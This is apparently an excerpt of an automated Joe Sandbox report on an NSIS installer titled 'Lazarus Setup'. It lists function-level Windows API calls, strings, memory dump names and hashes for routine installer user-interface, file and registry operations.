CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\3Pd480eWHA.exe",771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030C7,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032DC), ref: 00405FCF
CharNextA.USER32(?,?,?,00000000), ref: 00405FDC
CharNextA.USER32(?,"C:\Users\user\Desktop\3Pd480eWHA.exe",771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030C7,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032DC), ref: 00405FE1
CharPrevA.USER32(?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000,004030C7,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032DC), ref: 00405FF1

Strings

*?|<>/":, xrefs: 00405FBF
"C:\Users\user\Desktop\3Pd480eWHA.exe", xrefs: 00405FB3
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405F78

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\3Pd480eWHA.exe"$*?|<>/":$C:\Users\user~1\AppData\Local\Temp\
API String ID: 589700163-2066206189
Opcode ID: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction ID: e323e08bdfda0f150b574f83967a69ba6361760ee6a09b3ffc5edc4c10c5e242
Opcode Fuzzy Hash: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction Fuzzy Hash: 01118F91808B926EFB3216244C44B7BAF898B577A4F18007BE5C5722C2DA7C5C429B6E

Function 00403F58 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F75
GetSysColor.USER32(00000000), ref: 00403F91
SetTextColor.GDI32(?,00000000), ref: 00403F9D
SetBkMode.GDI32(?,?), ref: 00403FA9
GetSysColor.USER32(?), ref: 00403FBC
SetBkColor.GDI32(?,?), ref: 00403FCC
DeleteObject.GDI32(?), ref: 00403FE6
CreateBrushIndirect.GDI32(?), ref: 00403FF0

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: 03c35b03fdde5f33accd48f8e357bf0732577442a8f103693b6bf1e6191b16fb
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: 71216271904705ABCB219F68ED48B4BBFF8AF01715B04892AF996A22E0D734EA04CB55

Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalFree.KERNEL32(?), ref: 100024B5
GlobalFree.KERNEL32(00000000), ref: 100024EF

Memory Dump Source

Source File: 00000000.00000002.1834191377.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1834168923.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834213458.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834234460.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3Pd480eWHA.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
Instruction ID: 4e6b36a645f71e2aed4a85f2c36ff1861f2741140ba068ae73f9b0a79c1593cf
Opcode Fuzzy Hash: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
Instruction Fuzzy Hash: EA319CB1504250EFF322CF64CCC4C6B7BBDEB852D4B124529FA4193168CB31AC94DB62

Function 004047F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040480B
GetMessagePos.USER32 ref: 00404813
ScreenToClient.USER32(?,?), ref: 0040482D
SendMessageA.USER32(?,00001111,00000000,?), ref: 0040483F
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404865

Strings

f, xrefs: 00404841

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: d51aeaa30401db709ca0a87e6a09b4ddb89123452d3ebce91a639796f0b83af5
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: 54019275D00218BADB00DBA4CC41BFEBBBCAF85711F10412BBB10B71C0C7B465018BA5

Function 00402B7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B9A
MulDiv.KERNEL32(000D995F,00000064,000DAB48), ref: 00402BC5
wsprintfA.USER32 ref: 00402BD5
SetWindowTextA.USER32(?,?), ref: 00402BE5
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BF7

Strings

verifying installer: %d%%, xrefs: 00402BCF

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3ae07b054ad9b81f5b6108b272be1fee9de0c5ac9c6f7af5c303f160919c41b2
Instruction ID: 06d6233bfb864841df38fb05631849b064d35824abf3621066cb5e46443ac4cc
Opcode Fuzzy Hash: 3ae07b054ad9b81f5b6108b272be1fee9de0c5ac9c6f7af5c303f160919c41b2
Instruction Fuzzy Hash: EE014F70540209FBEF209F60DD4AEAE3B69AB04304F00803AFA16B92D0D7B8A951DB59

Function 00401D38 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D3B
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D48
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D57
ReleaseDC.USER32(?,00000000), ref: 00401D68
CreateFontIndirectA.GDI32(0040A7F0), ref: 00401DB3

Strings

Tahoma, xrefs: 00401D99

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 7cd5ed8a4b4f09cdd512241ed4d77026764b80ee4c75be1284d7c37bf19adfef
Instruction ID: cf9238c777b6589bee1a324002302adcb4b1f2371c80511fc572ea77625e262b
Opcode Fuzzy Hash: 7cd5ed8a4b4f09cdd512241ed4d77026764b80ee4c75be1284d7c37bf19adfef
Instruction Fuzzy Hash: 96016232948740AFE7416B70AE1AFAA3FB4A755305F108479F201B72E2C67811569B3F

Function 004026C6 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00008A00,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040271A
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 00402736
GlobalFree.KERNEL32(?), ref: 0040276F
GlobalFree.KERNEL32(00000000), ref: 00402782
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040279A
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004027AE

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: c372e968d9e395b418133328b66b822104ab768b7d8a0d8c505769ff06cebaf7
Instruction ID: f67dc9fade15bd1aaf4953b10d7ffc98cf8df4ed40540c93fb8cebdcb82cf2c3
Opcode Fuzzy Hash: c372e968d9e395b418133328b66b822104ab768b7d8a0d8c505769ff06cebaf7
Instruction Fuzzy Hash: 71217A71800128BBCF216FA5DE49EAEBB79EF09324F10022AF914762E1C7795D018B99

Function 004046E6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0079E540,0079E540,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404601,000000DF,00000000,00000400,?), ref: 00404784
wsprintfA.USER32 ref: 0040478C
SetDlgItemTextA.USER32(?,0079E540), ref: 0040479F

Strings

@y, xrefs: 00404776
%u.%u%s%s, xrefs: 0040476E

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@y
API String ID: 3540041739-3020698753
Opcode ID: ca56fcb4ff96a92767a948c37e1cdc386e941f7d7930a18b2193be96cb950031
Instruction ID: 4638cabbc4a31f91baf710fec8468dae319bf79d1b1f68d9e24bb075fcb279e4
Opcode Fuzzy Hash: ca56fcb4ff96a92767a948c37e1cdc386e941f7d7930a18b2193be96cb950031
Instruction Fuzzy Hash: D911E7736041283BEB00656D9D45EEF328CDB86374F254237FA25F31D1EA78CC1146A8

Function 1000180D Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001869
GlobalFree.KERNEL32(?), ref: 100019EF
GlobalFree.KERNEL32(?), ref: 100019F4

Memory Dump Source

Source File: 00000000.00000002.1834191377.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1834168923.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834213458.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834234460.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3Pd480eWHA.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
Instruction ID: adaf369aa6dab84e94bee76403d526b7d43184adb12fe210256c1aedb67fe499
Opcode Fuzzy Hash: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
Instruction Fuzzy Hash: 43512536D04159AEFB55DFB488A4AEEBBF6EF453C0F124169E841B315DCA306E4087D2

Function 00402A7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A9B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AD7
RegCloseKey.ADVAPI32(?), ref: 00402AE0
RegCloseKey.ADVAPI32(?), ref: 00402B05
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B23

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: b56f379d4c7718a716cd2f0f4935c5eaa8b38fc1cc2d991abe85072f08e57da9
Instruction ID: 557db050c0314b8bb5c0b22d2db4fc3530b60cfc711b7b252a141f8c1691c263
Opcode Fuzzy Hash: b56f379d4c7718a716cd2f0f4935c5eaa8b38fc1cc2d991abe85072f08e57da9
Instruction Fuzzy Hash: 82114272900109FFEF229F50DE89DAE3B7DEB54344B104436F901B10A0D7B59E51DB69

Function 00401CDE Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CE2
GetClientRect.USER32(00000000,?), ref: 00401CEF
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D10
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D1E
DeleteObject.GDI32(00000000), ref: 00401D2D

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 0583b6918c16dec0e269df833e9dc84b1bd36602652c7031110f346e7b3842d0
Instruction ID: 92ae7547fb934e5b20a31b6555936ed9a04085bedc3b988c85494c1bea2cd4ea
Opcode Fuzzy Hash: 0583b6918c16dec0e269df833e9dc84b1bd36602652c7031110f346e7b3842d0
Instruction Fuzzy Hash: CCF0E7B2A04114AFEB01ABE4DE88DAFB7BDFB54305B10446AF602F6191C7789D018B79

Function 00403951 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,Lazarus Setup), ref: 004039E9

Strings

Lazarus Setup, xrefs: 004039D8
"C:\Users\user\Desktop\3Pd480eWHA.exe", xrefs: 00403952
1033, xrefs: 00403955, 0040395F, 004039D0

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\3Pd480eWHA.exe"$1033$Lazarus Setup
API String ID: 530164218-1246658199
Opcode ID: 85ceab019c87a04c69db0eea1a6fbc710d8651cdce0cfd73114f661218e3a08a
Instruction ID: a7121fc51e20562cbfa027eee4ba04e2135699cbca2cdd3690fce58e300c9c30
Opcode Fuzzy Hash: 85ceab019c87a04c69db0eea1a6fbc710d8651cdce0cfd73114f661218e3a08a
Instruction Fuzzy Hash: 8311D1B5B056108BE720DF15DC80A73776CEBC6755B28813FE841A73E1D73D9D028A98

Function 0040586C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D0C: lstrcpynA.KERNEL32(?,?,00000400,0040319A,Lazarus Setup,NSIS Error), ref: 00405D19

Part of subcall function 00405817: CharNextA.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,?,00405883,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055CE,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405825
Part of subcall function 00405817: CharNextA.USER32(00000000), ref: 0040582A
Part of subcall function 00405817: CharNextA.USER32(00000000), ref: 0040583E

lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,00000000,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055CE,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 004058BF
GetFileAttributesA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,00000000,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055CE,?,771B3410,C:\Users\user~1\AppData\Local\Temp\), ref: 004058CF

Strings

